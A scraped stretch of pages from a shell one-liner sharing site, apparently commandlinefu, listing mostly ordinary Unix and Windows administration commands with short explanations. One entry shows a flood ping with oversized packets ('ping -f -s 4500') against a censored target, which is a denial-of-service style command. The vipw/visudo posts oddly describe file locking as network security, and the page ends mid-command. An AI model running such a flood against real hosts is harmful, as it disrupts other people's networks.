‹ First < 302 303 304 305 306 > Last › echo "$(</etc/issue)" view file content with echo another replacement for cat. find . -name "*.[ch]" -print | xargs grep -i -H "search phrase" Original submitter's command spawns a "grep" process for every file found. Mine spawns one grep with a long list of all matching files to search in. Learn xargs, everyone! It's a very powerful and always available tool. explorer /e,. (no output, a GUI pops out) Open the Windows Explorer from the current directory Sometimes I want to use the mouse to move/copy/delete files. (I also sometimes feel like a nut, sometimes I don't.) This is for Windows 2000 and later, probably. Tested on Windows XP, cmd.exe. http://support.microsoft.com/kb/130510 curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet sel -t -m '//horoscope' -v 'horoscope' | festival --tts Speak your horoscope with the command line Uses curl, xmlstarlet and festival to speak your horoscope. Modify the m (month) and d (day) parameters to the astrology web service to hear your personal horoscope. . filename [arguments] $ echo "date" > tst $ . tst Mon Jun 6 16:12:09 CEST 2011 $ rm tst Execute commands from a file in the current shell Read and execute commands from FILENAME in the current shell. The entries in $PATH are used to find the directory containing FILENAME. If any ARGUMENTS are supplied, they become the positional parameters when FILENAME is executed. cd /d d:\Windows Z:\piyo >cd /d d:\windows D:\Windows >.\notepad.exe In the Windows cmd.exe window, you can change the directory using cd, but if you need to go to a directory on another drive, you need to type in the drive letter and colon first (e.g. d:). With the /d on cd, you don't need this intermediate step. cd /? Tested on Windows XP hostname -i IP address of current host I've seen some versions of hostname that don't have the -i option, so this may not work everywhere. When available, it's a better alternative than using ifconfig and wasting eyeball muscle to search for the address, and it's definitely simpler than using awk/sed. ifconfig | awk '/inet addr/ {print $2 }' | sed 's/.*://g' 192.168.15.250 Functions: awk ifconfig sed Easy way to grab the IP address of a machine for easy script use. If needed a "| grep -v 127.0.0.1" at the end will suppress localhost. dpkg -L Your_Package gnu@robby:~/Bureau$ dpkg -L peertv-beta-2.0.0 /. /usr /usr/share /usr/share/PeerTV /usr/share/PeerTV/smartlist.xml /usr/share/PeerTV/PeerTV.png /usr/share/PeerTV/preflist.xml /usr/share/PeerTV/favlist.xml /usr/share/PeerTV/reclist.xml /usr/share/doc /usr/share/doc/peertv-beta-2.0.0 /usr/share/doc/peertv-beta-2.0.0/gnugpl.txt.gz /usr/share/doc/peertv-beta-2.0.0/README.txt /usr/share/doc/peertv-beta-2.0.0/changelog.Debian.gz /usr/share/doc/peertv-beta-2.0.0/README.Debian /usr/share/doc/peertv-beta-2.0.0/copyright /usr/share/doc/peertv-beta-2.0.0/changelog.txt.gz /usr/share/applications /usr/share/applications/PeerTV.desktop /usr/bin/PeerTV List content of a package (debian derivative distro) sudo aptitude remove -P $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}') Functions: awk sed sudo Same as 7272 but that one was too dangerous so i added -P to prompt users to continue or cancel find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9 Functions: cut find ls tr xargs Command for getting the list of files with perms, owners, groups info. Useful to find the checksum of 2 machines/images. du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail find dis1k space mount | awk '/:/ { print $3 } ' | xargs sudo umount Functions: awk mount sudo xargs apt-cache show Your_package gnu@robby:~/Bureau$ apt-cache show peertv-beta-2.0.0 Package: peertv-beta-2.0.0 Priority: extra Section: unknown Installed-Size: 708 Maintainer: cartes <votreaddresse@email.tld> Version: 009-1 Depends: phonon-backend-xine, libc6 (>= 2.4), libgcc1 (>= 1:4.1.1), libphonon4 (>> 4:4.3.1), libqt4-network (>= 4.5.0~+rc1), libqt4-webkit (>= 4.5.0~+rc1), libqt4-xml (>= 4.5.0~+rc1), libqtcore4 (>= 4.5.0~+rc1), libqtgui4 (>= 4.5.0~+rc1), libstdc++6 (>= 4.2.1), phonon (>> 4:4.3.1) Description: Peertv Logiciel de visualisation de Webtv Homepage: <insert the upstream URL, if relevant> Show the meta information on a package (dependency , statuts ..) on debian derivative distro perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file same, except it works on any OS with Perl installed. DOS, Windose, whatever find . -type f -depth -3 -mtime -5 % find . -depth -3 -mtime -5 -type f ./55x85weddingInv_silverdecklewithbow.doc ./Backup of mark-crystal-rehersal-invite.doc ./Backup of mark-crystal-rsvp.doc ./evite.ics ./m100-uit+totals-2007-12-31-2.xls ./mark-crystal-rehersal-invite.doc ./mark-crystal-rsvp.doc ./respCard_std55x85sheet.doc ./tp2Jl.pdf Find files modified in the last 5 days, no more than 2 levels deep in the current directory. Ever wanted to find the most recently modified files, but couldn't remember exactly where they were in a project directory with many subdirectories? The "find" command, using a combination of "-mtime -N" and "-depth -D" can be used to find those files. If your directory structure isn't very deep, just omit the "-depth -D", but if your directory structure is very deep, then you can limit the depth of the traversal using "-depth -D", where "D" is the maximum number of directory levels to descend. ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9 Functions: awk kill ps xargs find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' find `pwd` -name '.*' -prune -o \( -name *.h -o -name *.cpp \) -print | cscope -bi- build cscope.out from all *.{h,cpp}, but ignore hidden files cd / export CSCOPE_DB=/cscope.out vim +'set cst' ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1' Found this useful for scripts where I needed to work with the machine's IP. If $DEVICE is not specified, this will return all IPs on the machine. If $DEVICE is set to a network adapter, it will return just that adapter's IP. function crtonl { perl -i -ape 's/\r/\n/g;' $* ; } crtonl mymacfile.csv Convert files with CR-terminated lines (as created by Mac OS X programs) into NL-terminated lines suitable for Unix programs Many Mac OS X programs, especially those in Microsoft:Office, create ASCII files with lines terminated by CRs (carriage returns). Most Unix programs expect lines separated by NLs (newlines). This little command makes it trivial to convert them. /sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g' ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}' htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com Sat Feb 14 02:22:56 2009 [+ 0.352500] (delta: 0.000000) Set your computer's clock, using HTTP and HTP (HTTP Time Protocol), when NTP/SNTP is not available HTP (HTTP Time Protocol) is an alternative way of getting "good enough" synchronized time. htpdate will give you near-second accuracy. It works where NTP/SNTP does not because of firewalls and proxies. Of course, if NTP/SNTP can be used, use that instead. http://www.clevervest.com/twiki/bin/view/HTP htp is not in Ubuntu! complete -W "$(while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts)" ssh Simple and fast variant, not using external programs. Another variation: complete -W "$(while read line; do echo ${line%%[, ]*}; done < ~/.ssh/known_hosts)" ssh HashKnownHosts must be off, of course. ‹ First < 303 304 305 306 307 > Last › pss() { ps -eo pid,args | sed '/'"$1"'/!d;/sed/d' ; } Find the correct PID I know you can use pidof but with this you can know the specific PID with his command arguments (useful if you're running various proccess with same application) command & echo $! Functions: command echo Echo PID of the current running command Actually $! is an internal variable containing PID of the last job in background. More info: http://tldp.org/LDP/abs/html/internalvariables.html#PIDVARREF Using $! for job control: possibly_hanging_job & { sleep ${TIMEOUT}; eval 'kill -9 $!' &> /dev/null; } lgrep() { /bin/ls -A --color=always ${2:-.} | /bin/grep $1 ; } Show regular expressions on directory list lgrep regex [dir] seq -s^2+ 11 |rev| cut -d'+' -f2- | rev | bc 385 Functions: cut rev seq I can't put the last ^2 with seq, so I reverse it to delete the last +N. So for doing sum(N^2) you have to do sum((N+1)^2). Must be a better way. pgrep -fl emerge -e system && emerge -e system && emerge -e world && emerge -e world This is a command you see mentioned alot by Gentoo monkeys. They say to use it after every update of GCC, any library you might use and glibc. They argue that compiling and recompiling everything like this will optimize the system alot more because you are recompiling the entire system (gcc, glibc etc) with nativly compiled versions of themselves. Same goes for all libraries etc. I doubt the difference in working speed is really worth the hours and hours you end up having your computer compile the same stuff again and again though. printf "%50s\n"|tr ' ' - $ time printf "%50s\n"|tr \ - real 0m0.008s sys 0m0.008s Better -and faster- using bash printf. 'watch' repeatedly (default every 2 seconds, -n 1 => every second) runs a command (here ':', a shorthand for 'true'), displays the output (here nothing) and the date and time of the last run. I thought it to be obvious but it seemingly is not: to exit use Ctrl-C. grep -c '^From ' mbox_file Count emails in an MBOX file perl -m'AptPkg::Cache' -le '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}->{'CurrentState'} eq 'Installed';} print for sort @a;' A space-padded version: perl -m'AptPkg::Cache' -e '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}->{'CurrentState'} eq 'Installed';} print "$_ " for sort @a;' YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",$yest[5]+1900,$yest[4]+1,$yest[3];'` Get Yesterday's Date Returns yesterday's date in the format yyyyMMdd find . -type d -exec sh -c "normalize-audio -b \"{}\"/*.mp3" \; Execute this in the root of your music library and this recurses through the directories and normalizes each folder containing mp3s as a batch. This assumes those folders hold an album each. The command "normalize-audio" may go by "normalize" on some systems. TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",$tom[5]+1900,$tom[4]+1,$tom[3];'` Get Tomorrow's Date Returns tomorrow's date in the format yyyyMMdd vipw at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash 2 avahi:x:107:109:User for Avahi:/var/run/avahi-daemon:/bin/false 3 beagleindex:x:109:111:User for Beagle indexing:/var/cache/beagle:/bin/bash 4 bin:x:1:1:bin:/bin:/bin/bash 5 cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/bash 6 daemon:x:2:2:Daemon:/sbin:/bin/bash 7 dhcpd:x:103:65534:DHCP server daemon:/var/lib/dhcp:/bin/false 8 fetchmail:x:105:2:mail retrieval daemon:/var/lib/fetchmail:/bin/false Once again output has been truncated for viewing. Securely seeing the password file over the network Now a bit of explanation required for this command.Once you type the command it opens up an vi editor with an temporary file enlisting the password file information .So if you make an change it will not reflected in the passwd file until you save the file.The reason behind using this command over other way to view the password file in network environment is that it locks the password file when you start working with it.So no one can temper with it during that period.Once you are done(means you save the tmp file) ,it will release the lock associated with it.I think it's a better mechanism to view the sensitive data like passwd file.Never ever use other tool like cat, nano or any other means. :g/\n"/jo VIM subst any char different from literal In case the line you want to join start with a char different than ", you may use \n.*"\n as regex. echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }' List path of binaries vigr at:!:25: 2 audio:x:17: 3 avahi:!:109: 4 beagleindex:!:111: 5 bin:x:1:daemon 6 cdrom:x:20: 7 console:x:21: Once again truncate the output for better viewing. Securely look at the group file over the network If you follow my previous posting regarding "vipw" then no explanation required.The same method goes behind this command also.It will open an tmp file in vi editor to give you the enlisting to edit the group file.And most importantly to attach a lock with it.Once you are done ,the lock is released and the changed reflected to the original file.So you can securely edit the group file over the network without the fear of being tampered . IFS=`echo -en "\n\b"`; for i in $(curl http://feeds.digg.com/digg/container/technology/popular.rss | grep '<title>' | sed -e 's#<[^>]*>##g' | tail -n10); do echo $i; echo $i | sed 's/^/Did you hear about /g' | say; sleep 30; done Functions: echo grep sed sleep tail Generate background office noise using Digg feeds and OSX. Instead of having someone else read you the Digg headlines, Have OSX do it. Requires Curl+Sed+Say. This could probably be easily modified to use espeak for Linux. :bufdo %s/foo/bar/ge | up substitute in each buffer in the buffer list # sudoers file. 2 # 3 # This file MUST be edited with the 'visudo' command as root. 4 # 5 # See the sudoers man page for the details on how to write a sudoers file. 6 # 8 # Host alias specification 10 # User alias specification 12 # Cmnd alias specification 14 # Defaults specification 16 # Prevent environment variables from influencing programs in an 17 # unexpected or harmful way (CVE-2005-2959, CVE-2005-4158, CVE-2006-0151) 18 Defaults always_set_home 19 Defaults env_reset 21 Defaults env_keep = "LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE" 22 # Comment out the preceding line and uncomment the following one if you need 23 # to use special input methods. This may allow users to compromise the root 24 # account if they are allowed to run commands without authentication. 25 #Defaults env_keep = "LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAM E LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE XMODIFIERS GTK_IM_MODULE QT_IM_MODU LE QT_IM_SWITCHER" 27 # In the default (unconfigured) configuration, sudo asks for the root password. 28 # This allows use of an ordinary user account for administration of a freshly 29 # installed system. When configuring sudo, delete the two 30 # following lines: 31 #Defaults targetpw # ask for the password of the target user i.e. root 32 #ALL ALL=(ALL) ALL # WARNING! Only use this together with 'Defaults targetpw'! Once again the output is truncated for security reason Securely edit the sudo file over the network If you follow my other posting regarding "vipw" and "vigr' then no explanation required.It has done the same thing as did with those two command.Open the /etc/sudoers file and attach a lock with it. Once you are done with it ,the lock gets released and the changes reflected to the original file.It will open a tmp file in vi editor to give you the chance to edit the sudoers file securely.visudo parses the sudoers file after the edit and will not save the changes if there is a syntax error. Upon finding an error, visudo will print a message stating the line number(s) where the error occurred and the user will receive the "What now?" prompt. At this point the user may enter "e" to re-edit the sudoers file, "x" to exit without saving the changes, or "Q" to quit and save changes. The "Q" option should be used with extreme care because if visudo believes there to be a parse error, so will sudo and no one will be able to sudo again until the error is fixed. If "e" is typed to edit the sudoers file after a parse error has been detected, the cursor will be placed on the line where the error occurred (if the editor supports this feature). PS: Although I have had experienced myself and few people shown to me that it behaves badly in some distribution ,noteably SLES.But the problem can be rectified with little caution. dpkg --get-selections | awk '$2=="install" {print $1}' | sort wget http://www.commandlinefu.com/commands/by/e7__7dal dont forget commands of old profile sudo ping -f -c 999 -s 4500 target.com gunslinger@localhost:~/shellcode$ sudo ping -f -c 999 -s 4500 *CENSORED* [sudo] password for gunslinger: PING *CENSORED* (*CENSORED*) 4500(4528) bytes of data. .EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE --- *CENSORED* ping statistics --- 999 packets transmitted, 0 received, 100% packet loss, time 24332ms gunslinger@localhost:~/shellcode$ Send packet by ping sending packet by ping if sending more high packet root needed... /ls ls lista diret?rio explorer $( cygpath "/path/to/file_or_exe" -w ) $ explorer $( cygpath "/path/to/executable" -w ) # Run the windows executable $ explorer $( cygpath "movie file.avi" -w ) # Plays movie file with default player $ explorer $( cygpath "/path/to/a folder" -w ) # Opens a folder in windows explorer Open windows executable, file, or folder from cygwin terminal This executes faster than cygstart.exe I put this in a script and added it to my path: cat `which explore.sh` if [ $# -eq 0 ]; then explorer.exe $( cygpath `pwd` -w ) & explorer.exe $( cygpath $1 -w ) & Using the script you just type explore.sh file_or_executable Note: you can do this for any file that has an associated executable in the windows registry. This is quite handy if you want to open pictures or movies from xterm. ‹ First < 304 305 306 307 308 > Last › PS1='$PWD$ ' To retrieve a normal prompt If you have tried to change your prompt and made a mistake, use this command to retrieve a standard prompt. If you used the export command when you changed your prompt, also use it there: export PS1='$PWD$ ' Taskkill /? Taskkill /PID 4064 /F SUCCESS: The process with PID 4064 has been terminated. Killing a process in Windows 7 command line Taskkill: As the name of the utility ?taskkill? suggests that it is simply used to see the running processes and to kill one or more processes either by using its PID i.e. ProcessID or by using its Image name i.e. by which it is present in system and being executed. We can also filter the results on the basis of user name, PID, image name, CPU time, memory usage etc at the time of killing or terminating a process. taskkill [/s [/u [\] [/p []]]] {[/fi ] [...] [/pid /im ]} [/f] [/t] Parameters description: /s :- To provide IP specification or name of the remote computer; if not provided local computer is considered. Do not use backslashes in the value of the parameter. /u \ :- To provide UserName or Domain\UserName under whose permission command should execute. If not provided then command run under the permission of person who is logged on. Option /u can be used only if /s is specified. /p :- For the password of that user account which is provided with /u parameter. Password is prompted in case this field is omitted. /fi :- To apply filter to select a set of tasks. Wildcard character (*) can be used for specifying all tasks or image names. Filter names are provided after parameter description. /pid >ProcessID> :- For specifying PID of the process to be killed. /im :- For providing image name of the process to be terminated. Also Wildcard character (*) can be used to specify all image names. /t :- To terminate the whole tree of the process including all child processes started by it. /f :- For forceful termination of process. It is not omitted in case of remote process as they are terminated forcefully in default. Filters description: Filters are provided to filter the result. This filtering is based on some Filter names which are checked with some relational operators. You will observe that the filter names are the column names which comes in task manager. Filter Name Valid Operators Valid Values STATUS eq,ne RUNNINGNOT RESPONDINGUNKNOWN IMAGENAME eq, ne Name of image PID eq, ne, gt, lt, ge, le ProcessID number SESSION eq, ne, gt, lt, ge, le Session number CPUTIME eq, ne, gt, lt, ge, le CPU time in the format HH:MM:SS, where MM and SS are between 0 and 59 and HH is any unsigned number MEMUSAGE eq, ne, gt, lt, ge, le Memory usage(in KB) USERNAME eq, ne Any valid user name (User or Domain\User) SERVICES eq, ne Service name WINDOWTITLE eq, ne Window title MODULES eq, ne DLL name where eq, ne, gt, lt, ge & le are meant for equal to, not equal to, greater than, less than, greater than equal to and less than equal to respectively. Points to be noted: In case of remote process WINDOWTITLE and STATUS filters are not supported. Wildcard (*) character is accepted for /im option only when filter is applied. Not necessary that /f is specified in case of remote process termination as in default that is terminated forcefully. For specifying ProcessID (PID) tasklist command can be used. To terminate a process with PID 3276 use parameter /pid. ?taskkill /pid 3276 To terminate more than one process with pid as 2001, 2224, 4083. ?taskkill /pid 2001 /pid 2224 /pid 4083 To terminate a process with its image name like wmplayer.exe for Windows Media Player use /im parameter. ?taskkill /im wmplayer.exe To terminate a process and all its child process i.e. to end process tree in task manager use /t parameter. ?taskkill /f /im explorer.exe /t To terminate all those processes which have PID greater than or equal to 1500 without considering their image names use filter ge with wildcard character. ?taskkill /f /fi ?PID ge 1500? /im * To terminate the process tree with PID 2521 which is started by account name admin. ?taskkill /pid 2521 /t /fi ?USERNAME eq admin? To terminate all process beginning with note on a remote system named serverpc under user name ?administrator? having its password as ?qu@dc()r3?. ?taskkill /s serverpc /u administrator /p qu@dc()r3 /fi ?IMAGENAME eq note*? /im * To terminate a process with its windows title as ?paint? ?taskkill /f /fi ?WINDOWTITLE eq paint? Source: http://unlock-windows.blogspot.com/2008/12/taskkill-command-line-utility.html sar -r View memory utilisation Report memory and swap space utilization statistics e.g. memory free/used, swap free/used last reboot system boot 2.6.30-latest Mon Aug 24 17:51 (00:59) bhaskar pts/5 Mon Aug 24 11:43 - 11:52 (00:09) bhaskar pts/5 Mon Aug 24 11:09 - 11:09 (00:00) bhaskar pts/4 Mon Aug 24 10:12 - 12:35 (02:23) bhaskar pts/3 Mon Aug 24 08:48 - 13:53 (05:05) bhaskar pts/1 Mon Aug 24 08:48 - 13:53 (05:05) bhaskar :0 console Mon Aug 24 08:47 - 13:54 (05:06) bhaskar :0 Mon Aug 24 08:47 - 08:47 (00:00) This command will tell the last login and reboot related information This command will reveal login has been made to the system as well as when the reboot occurs. It uses a file called /var/log/wtmp,which captures all the information about the successful login and reboot information. It has many switch ,by which you can get an idea when people login how long they stay. comm -13 <(sort file1) <(sort file2) > file-new Save lines unique to file2 If both file1 and file2 are already sorted: comm -13 file1 file2 > file-new watch -n1 --differences cat /proc/meminfo easly monitor mem usage hb(){ sed "s/\($*\)/`tput setaf 2;tput setab 0;tput blink`\1`tput sgr0`/gI"; } Blinking, Color Highlighted search for input/output and files, like grep --color hb blinks, hc does a reverse color with background.. both very nice. hc(){ sed "s/\($*\)/`tput setaf 0;tput setab 6`\1`tput sgr0`/gI"; } Run this: command ps -Hacl -F S -A f | hc ".*$PPID.*" | hb ".*$$.*" Your welcome ;) From my bash profile - http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html find / -name FILENAME Simple Find sudo scutil --set HostName MY_NEW_HOSTNAME Changing Hostname on Mac OS X wget -nd -nH -r -A pdf -I library/mac/documentation/ http://developer.apple.com/library/mac/navigation/#section=Resource%20Types&topic=Reference Get all the reference docs for OS X from Apples Developer Connection site download every last pdf reference Doc from the Apple Developer Connection, takes a half hour on a fast connection. enjoy! aptitude search \~ilinux-image Push all local branches to remote repo xdg-open $(svn info | sed -n '/URL:/s/URL: //p') Functions: info sed From an SVN working directory, open the corresponding repository directory in your favorite browser sudo update-rc.d -f gdm remove don't auto run gdm run `sudo update-rc.d gdm defaults` to get it back cat welcome | wall Broadcast Message from william@linux-wsue Welcome to Command-line-fu Broadcast message to all logged in terminal users. Show message in file "welcome" to all logged in terminal users. wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:":":g;s:^:\n:g;s:$:\n:' wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e 's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span class=snubFontSmall>::g;s:":":g;s:^:\n:g;s:$:\n:' People that hate animals Here's a clue, unless we bloody well created it, they were here first. While you dont' have to worship them, at leat respect the fact that their life is just as a part of history as our own. I wonder, how well you would do in the wild, unarmed.. Forget fortunes in your terminal this grabs a random I've got this posted in one of my .bash_profiles for humor whenever I log in. ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}' I have a directory containing log files. This command delete all but the 5 latest logs. Here is how it works: * The ls -t command list all files with the latest ones at the top * The awk's expression means: for those lines greater than 5, delete. > /tmp/psup.log; watch "ps up $(pgrep -d, -x nginx) | grep -v STAT | awk '{print $8}' | grep -c [ZUTD] >> /tmp/psup.log; tail -n 22 /tmp/psup.log" Every 2.0s: ps up 16902,16903,16904,16905,16906,16907,16908,16909,16910,16911,1... Wed Mar 16 17:49:08 2011 Watch for blocked NGINX processes for tuning purposes This command counts the number of blocked NGINX processes every 2 seconds and shows the last 22 measurements You should have at least the number of cpu's in a non-blocked state. The command up to the first ; truncates the log file. export PS1="[\u@`curl icanhazip.com` \W]$ " Show internet IP Address in prompt --> PS1 var sudo iptables -I INPUT -p tcp --dport 3000 -j ACCEPT open ports with iptables This command will open tcp port 3000 in your machine pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9 Functions: awk kill xargs Reload gnome-panel I have some problems with gnome panel which does not load completely leaving me without the actual GUI. This commands helps to kill the gnome-panel process then it should be relaunch automatically. awk '{if (NR % 2 == 0) print $0}' file.txt Print only the even lines of a file prefix="10.0.0" && for i in `seq 25`; do ping -c 1 $prefix.$i &> /dev/null && echo "Answer from: $prefix.$i" ; done Answer from: 10.0.0.1 Answer from: 10.0.0.2 Answer from: 10.0.0.4 Answer from: 10.0.0.5 Answer from: 10.0.0.6 Not really an easier solution. But an example using && for (if last command returned 0). You can use || for (if last command returned other than 0).. printf "%d\n" \0x64 hexadecimal2decimal sed -n "$=" fileName to display number of lines in a file without using wc command ‹ First < 305 306 307 308 309 > Last › find /path/to/webpages -type f -name '*.js' -exec 'rm' '{}' \; To reduce the size of saved webpages If you keep saved-webpages to read offline, then deleting the .js files will use a third less disk-space, without affecting the readability. find public_html/ -type f -exec chmod 664 {} \; Chmod all files (excluding directories) Command uses find to find and chmod all files recursively. rkhunter --check rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs c rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications. if test -w $1; then vim $1; else sudo vim $1; fi Functions: sudo test vim Open file with sudo when there is no write-permission this avoids several VIM warnings, which I seem too stupid to disable: warning, readonly! and: file and buffer have changed, reload?! rename .txt .md *.txt for i in *; do echo "$i"; done | shuf -n1 Choose random file from current folder. Avoids using ls. find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak} create backup for all files from current dir "." is current dir, maxdepth is the level, -print0 | xargs -0 fix spaces in names, -i interactive , ./ is the current dir {} actual name , and {,.bak} is the atual name + bak search="whatyouwant";data=$(grep "$search" * -R --exclude-dir=.svn -B2 -A2);for((i=$(echo "$data" | wc -l);$i>0;i=$(($i-6)) )); do clear;echo "$data"| tail -n $i | head -n 5; read;done Functions: echo grep head tail wc Grep with one result at a time Not perfect but working (at least on the project i wrote it ;) ) Specify what you want search in var search, then it grep the folder and show one result at a time. Press enter and then it will show the next result. It can work bad on result in the firsts lines, and it can be improved to allow to come back. But in my case (a large project, i was checking if a value wasn't used withouth is corresponding const and the value is "1000" so there was a lot of result ...) it was perfect ;) memnum=$(awk '{ print $2 }' /proc/meminfo |head -n1); echo "$memnum / 1024 / 1024" | bc -l Functions: awk bc echo head Probably more trouble than its worth, but worked for the obscure need. ls | while read -r FILE; do mv -v "$FILE" `echo $FILE | tr -d ' '`; done Functions: ls mv read tr all files in the directory get moved, in doing so the new name of the file is the original name with out spaces (using translate command) ls -la | tee ~/log.txt Functions: ls tee Show files and subdirectories in Terminal and copy output into a file ls -lS explorer /select,[file] explorer /select,C:\Windows\system32\drivers\TDDSserv.sys Launch an Explorer window with a file selected More info - http://support.microsoft.com/kb/130510 find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g' $ cd amsn_received $ find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g' |____amsn_received | |____screenshot1.png | |____DSCF1171.JPG | |____DSCF1202.JPG | |____DSC00887.jpg | |____DSC00953.jpg | |____DSC00595.JPG | |____at92A3.tmp.jpg | |____ReadMe 1.pdf | |____Screenshot.png | |____cpuz.html simulates the DOS tree command that you might be missing on your Mac or Linux box NOT MINE! Taken from hackzine.com blog. It creates a tree-style output of all the (sub)folders and (sub)files from the current folder and down(deeper) Quoting some of hackzine's words "Murphy Mac sent us a link to a handy find/sed command that simulates the DOS tree command that you might be missing on your Mac or Linux box. [..split...] Like most things I've seen sed do, it does quite a bit in a single line of code and is completely impossible to read. Sure it's just a couple of substitutions, but like a jack in the box, it remains a surprise every time I run it." mtop se -1 monitor the operation of a MySQL application in real time mtop allows you to monitor the operation of a MySQL application in real time. See, among the high, the number of queries performed per second, slower queries, the number of active processes. To install on Ubuntu sudo apt-get-y install mtop ip addr show eth0 | grep ether | awk '{print $2}' Linux specific, requires iproute2 (but most distros have that by default now) eval "`dircolors -b`" Add some color to ls If you put this in your .bashrc, you might also want to add this to make it use the colors by default: alias ls="ls --color=auto" localIP() { ifconfig ${1:--a} | sed '/Link encap\|inet\|6 addr/!d;s/Link encap.*$//;s/.*inet addr:\([0-9\.]*\).*/\1/g;s/.*inet6 addr: \(.*\) .*/\1/g' ; } Get your local/private IP If you don't send an interface, it shows private IP address of all interfaces command >&- more /var/log/auth.log |grep "month"|grep ipop|grep "failed"|wc -l Functions: grep more wc Check failed logins from ipop service at some time given at linux Usefull if you want to check if something is applying a dictonary of brute force. sha1sum * >> SHA1SUMS 4cda65fe07b185f034dd877e0837942fb032eeff cg_cuda.cu 060f137380cfd715dc038fe2486157773d893ab2 ConjugateGradient.h b7d927e6fd78da5ac93e924824b17f25e1a93ecd cudasolver.cpp a736dcc1a4a8f168000951efea0f1028d6938940 cudasolver.h e7fc11230d14bac882ccd1d14c72c79890b650cf cuda_support.h Functions: sha1sum Alternative command for performing an sha1 hash for a given set of files matched by a wildcard xinput list | grep -i touchpad ⎜ ↳ SynPS/2 Synaptics TouchPad id=13 [slave pointer (2)] Toggle the Touchpad on or off xinput set-prop 13 "Device Enabled" 0 how to disable touchpad, and xinput set-prop 13 "Device Enabled" 1 how to enable again "intelligenti pauca" echo "123.32.12.134" | grep -P 